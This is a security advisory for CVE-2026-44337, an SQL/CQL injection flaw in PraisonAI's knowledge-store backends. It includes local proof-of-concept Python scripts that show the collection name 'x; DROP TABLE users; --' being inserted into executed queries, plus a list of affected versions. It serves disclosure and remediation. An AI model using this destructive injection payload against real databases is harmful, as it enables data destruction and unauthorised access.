GHSA-3643-7v76-5cj2

Suggest an improvement
Source
https://github.com/advisories/GHSA-3643-7v76-5cj2
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3643-7v76-5cj2/GHSA-3643-7v76-5cj2.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-3643-7v76-5cj2
Aliases
  • CVE-2026-44337
Published
2026-05-11T13:57:18Z
Modified
2026-05-11T14:13:17.610447Z
Severity
  • 6.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L CVSS Calculator
Summary
PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries
Details

Summary

PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated name and collection arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.

Details

This issue affects the public persistence layer exported by persistence/init.py, which exposes KnowledgeStore and create_knowledge_store(). The factory wires the affected backends as supported knowledge-store providers in [persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112):

The common root cause is that the KnowledgeStore interface accepts free-form collection names in create_collection(), delete_collection(), insert(), upsert(), search(), get(), delete(), and count() at [persistence/knowledge/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.

Representative sinks:

There is already an internal identifier validator in the conversation persistence layer:

That validator is used for SQL identifiers such as table_prefix and schema in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.

Version scope:

  • pgvector.py and cassandra.py were already present by v2.4.1
  • singlestore_vector.py was present by v2.4.3
  • the current PyPI release on May 1, 2026 is 4.6.33, and the same interpolation patterns are still present

Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends.

PoC

The following local reproductions show that attacker-controlled collection names become part of the executed SQL text.

  1. Reproduce the SingleStoreVectorKnowledgeStore.delete_collection() query construction:
python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types

base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")

mods = {
    "praisonai": types.ModuleType("praisonai"),
    "praisonai.persistence": types.ModuleType("praisonai.persistence"),
    "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
    v.__path__ = []
    sys.modules[k] = v

def load(name, path):
    spec = importlib.util.spec_from_file_location(name, path)
    mod = importlib.util.module_from_spec(spec)
    sys.modules[name] = mod
    spec.loader.exec_module(mod)
    return mod

load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")
ss = load("praisonai.persistence.knowledge.singlestore_vector", base / "knowledge" / "singlestore_vector.py")

class FakeCursor:
    def __init__(self, parent): self.parent = parent
    def execute(self, query, params=None): self.parent.calls.append((query, params))
    def __enter__(self): return self
    def __exit__(self, *args): return False

class FakeConn:
    def __init__(self): self.calls = []
    def cursor(self): return FakeCursor(self)

store = ss.SingleStoreVectorKnowledgeStore()
store._initialized = True
store._conn = FakeConn()
store.delete_collection("x; DROP TABLE users; --")
print(store._conn.calls[-1][0].strip())
PY

Observed result:

DROP TABLE IF EXISTS praisonai_x; DROP TABLE users; --
  1. Reproduce the PGVectorKnowledgeStore.create_collection() query construction:
python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types

base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")

mods = {
    "praisonai": types.ModuleType("praisonai"),
    "praisonai.persistence": types.ModuleType("praisonai.persistence"),
    "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
    v.__path__ = []
    sys.modules[k] = v

def load(name, path):
    spec = importlib.util.spec_from_file_location(name, path)
    mod = importlib.util.module_from_spec(spec)
    sys.modules[name] = mod
    spec.loader.exec_module(mod)
    return mod

load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")

psycopg2 = types.ModuleType("psycopg2")
extras = types.ModuleType("psycopg2.extras")
pool = types.ModuleType("psycopg2.pool")
class DummyPool:
    def __init__(self, *a, **k): pass
    def getconn(self): return None
    def putconn(self, c): pass
pool.ThreadedConnectionPool = DummyPool
extras.RealDictCursor = object
psycopg2.pool = pool
sys.modules["psycopg2"] = psycopg2
sys.modules["psycopg2.pool"] = pool
sys.modules["psycopg2.extras"] = extras

pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py")

class FakeCursor:
    def __init__(self, parent): self.parent = parent
    def execute(self, query, params=None): self.parent.calls.append((query, params))
    def __enter__(self): return self
    def __exit__(self, *args): return False

class FakeConn:
    def __init__(self): self.calls = []
    def cursor(self): return FakeCursor(self)
    def commit(self): pass

store = pg.PGVectorKnowledgeStore(auto_create_extension=False)
conn = FakeConn()
store._get_conn = lambda: conn
store._put_conn = lambda c: None
store.create_collection("x; DROP TABLE users; --", 3)
for query, _ in conn.calls:
    print(query.strip())
PY

Observed result includes:

CREATE TABLE IF NOT EXISTS public.praison_vec_x; DROP TABLE users; -- (
CREATE INDEX IF NOT EXISTS idx_x; DROP TABLE users; --_embedding

The Cassandra backend follows the same pattern in its CREATE TABLE, DROP TABLE, INSERT, SELECT, and DELETE statements.

Impact

This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.

Potential impact depends on backend and driver behavior, but includes:

  • malformed queries and backend errors
  • access to unintended tables or indexes
  • execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape

I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T13:57:18Z",
    "cwe_ids": [
        "CWE-20",
        "CWE-89"
    ],
    "severity": "MODERATE",
    "nvd_published_at": "2026-05-08T14:16:46Z"
}
References

Affected packages

PyPI / praisonai

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.1
Fixed
4.6.34

Affected versions

2.*
2.4.1
2.4.2
2.4.3
2.4.4
2.5.0
2.5.1
2.5.2
2.5.3
2.5.4
2.5.5
2.5.6
2.5.7
2.6.0
2.6.1
2.6.2
2.6.3
2.6.4
2.6.5
2.6.6
2.6.7
2.6.8
2.7.0
2.8.3
2.8.4
2.8.5
2.8.6
2.8.7
2.8.8
2.8.9
2.9.0
2.9.1
2.9.2
3.*
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.0.5
3.0.6
3.0.7
3.0.8
3.0.9
3.1.0
3.1.1
3.1.2
3.1.3
3.1.4
3.1.5
3.1.6
3.1.7
3.1.8
3.1.9
3.2.0
3.2.1
3.3.0
3.3.1
3.4.0
3.4.1
3.5.0
3.5.1
3.5.2
3.5.3
3.5.4
3.5.5
3.5.6
3.5.7
3.5.8
3.5.9
3.6.0
3.6.1
3.6.2
3.7.0
3.7.1
3.7.2
3.7.3
3.7.4
3.7.5
3.7.6
3.7.7
3.7.8
3.7.9
3.8.0
3.8.1
3.8.2
3.8.3
3.8.4
3.8.5
3.8.6
3.8.7
3.8.8
3.8.9
3.8.10
3.8.11
3.8.12
3.8.13
3.8.14
3.8.16
3.8.17
3.8.18
3.8.19
3.8.20
3.8.21
3.8.22
3.9.0
3.9.1
3.9.2
3.9.3
3.9.4
3.9.5
3.9.6
3.9.7
3.9.8
3.9.9
3.9.10
3.9.11
3.9.12
3.9.13
3.9.14
3.9.15
3.9.16
3.9.17
3.9.18
3.9.19
3.9.20
3.9.21
3.9.22
3.9.23
3.9.24
3.9.25
3.9.26
3.9.27
3.9.28
3.9.29
3.9.30
3.9.31
3.9.32
3.9.33
3.9.34
3.9.35
3.10.0
3.10.1
3.10.2
3.10.3
3.10.4
3.10.5
3.10.6
3.10.7
3.10.8
3.10.9
3.10.10
3.10.11
3.10.12
3.10.13
3.10.14
3.10.15
3.10.16
3.10.17
3.10.18
3.10.19
3.10.20
3.10.21
3.10.22
3.10.23
3.10.24
3.10.25
3.10.26
3.10.27
3.11.0
3.11.1
3.11.2
3.11.3
3.11.4
3.11.8
3.11.9
3.11.10
3.11.11
3.11.12
3.11.13
3.11.14
3.12.0
3.12.1
3.12.2
3.12.3
4.*
4.0.0
4.1.0
4.2.0
4.2.1
4.2.2
4.2.3
4.2.4
4.3.0
4.3.1
4.4.0
4.4.2
4.4.3
4.4.4
4.4.5
4.4.6
4.4.7
4.4.8
4.4.9
4.4.10
4.4.11
4.4.12
4.5.0
4.5.1
4.5.2
4.5.3
4.5.5
4.5.6
4.5.7
4.5.8
4.5.9
4.5.10
4.5.11
4.5.12
4.5.13
4.5.14
4.5.15
4.5.16
4.5.18
4.5.19
4.5.20
4.5.21
4.5.22
4.5.23
4.5.24
4.5.25
4.5.26
4.5.27
4.5.28
4.5.29
4.5.30
4.5.31
4.5.32
4.5.33
4.5.34
4.5.35
4.5.36
4.5.37
4.5.38
4.5.39
4.5.40
4.5.41
4.5.42
4.5.43
4.5.44
4.5.45
4.5.46
4.5.48
4.5.49
4.5.51
4.5.52
4.5.54
4.5.55
4.5.56
4.5.57
4.5.58
4.5.59
4.5.60
4.5.62
4.5.63
4.5.64
4.5.65
4.5.67
4.5.68
4.5.69
4.5.70
4.5.71
4.5.72
4.5.73
4.5.74
4.5.76
4.5.77
4.5.78
4.5.79
4.5.80
4.5.81
4.5.82
4.5.83
4.5.85
4.5.87
4.5.88
4.5.89
4.5.90
4.5.93
4.5.94
4.5.95
4.5.96
4.5.97
4.5.98
4.5.100
4.5.101
4.5.102
4.5.103
4.5.104
4.5.105
4.5.106
4.5.107
4.5.108
4.5.109
4.5.110
4.5.111
4.5.112
4.5.113
4.5.114
4.5.115
4.5.117
4.5.118
4.5.119
4.5.120
4.5.121
4.5.122
4.5.123
4.5.124
4.5.125
4.5.126
4.5.127
4.5.128
4.5.129
4.5.130
4.5.131
4.5.132
4.5.133
4.5.134
4.5.135
4.5.136
4.5.137
4.5.139
4.5.140
4.5.143
4.5.144
4.5.145
4.5.149
4.6.9
4.6.10
4.6.11
4.6.12
4.6.13
4.6.14
4.6.15
4.6.16
4.6.18
4.6.19
4.6.20
4.6.21
4.6.22
4.6.23
4.6.24
4.6.25
4.6.26
4.6.27
4.6.28
4.6.29
4.6.30
4.6.31
4.6.32
4.6.33

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3643-7v76-5cj2/GHSA-3643-7v76-5cj2.json"
last_known_affected_version_range
"<= 4.6.33"